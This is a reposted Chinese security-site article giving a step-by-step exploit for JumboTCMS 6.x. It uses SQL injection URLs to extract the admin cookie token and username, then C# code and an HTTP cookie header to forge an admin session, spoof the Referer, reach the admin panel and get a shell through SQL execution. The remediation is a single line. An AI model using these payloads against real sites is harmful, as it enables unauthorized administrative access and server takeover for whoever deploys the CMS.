Jumbotcms 6.x 通过注射by pass 后台权限认证

浏览:
字体:
发布时间:2013-12-11 11:03:00
来源:
Jumbotcms是一套应用广泛的开源.NET的CMS程序,jumbotcms采用微软推荐的多层安全架构,应用广泛,安全系数较高。
 
这次出现的问题主要是新改的权限认证方面和注射
 
通过注射,获得cookiess字段,再伪造cookie绕过后台认证
 
Q1 为什么不查密码?
 
密码没用,不能解码
 
Q2 为什么不直接update数据库?
 
限制了分号。
 
 
注射步骤:
 
获得Cookiess字段
 
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 Cookiess FROM jcms_normal_user where AdminState=1
 
 
 
获得用户名(MSSQL的substring下表是从1开始的)
 
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,1,1)) FROM jcms_normal_user where AdminState=1
 
 
 
http://localhost:1104/ajax/content.aspx?oper=ajaxDownCount&cType=paper&id=1 union SELECT TOP 1 ASCII(substring(UserName,2,1)) FROM jcms_normal_user where AdminState=1
 
 
 
注意:这里的cType=paper是模块名称,当前能试用这个注射的只有三种模块paper、soft、document。某些二次开发的站点可能删掉了soft,不过document或者paper基本都应该存在吧。测试的时候如果不好使,可以换一个模块试试
 
 
 
权限绕过步骤:
 
1 首先获取cookie中的版本号,随便访问页面即可获得。再到浏览器地址栏输入javascript:alert(document.cookie)
2 加入cookie的名称为:版本号admin
 
然后为先建的cookie中加多个子集
 
id=用户id
 
name=用户名
 
cookiess=cookiess(从上方获得的cookiess是数字,前面必须加一个小写的c,比如c59268931)
 
exp code:
 
HttpCookie hc = new HttpCookie("jcmsV6.8.0.0801admin");hc.Values.Add("id", "1");hc.Values.Add("name", "123");hc.Values.Add("cookiess", "c59268931");hc.Domain = "localhost";   //这里写上需要测试网站的域Response.Cookies.Add(hc);

 

 
 
 
 
http头的cookie例子:
 
jcmsV6.8.0.0801admin=id=1&name=123&cookiess=c59268931
 
 
 
3 伪造referer
 
 
 
4 访问:/admin/executesql_default.aspx 试试
 
或者直接访问 /admin/
 
 
 
5 getshell
 
方法比较多,毕竟后台有那么多功能,比如exec sql
 
 
ps.利用方法真蛋疼
 
 
修复方案:
过滤注射的ID字段
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();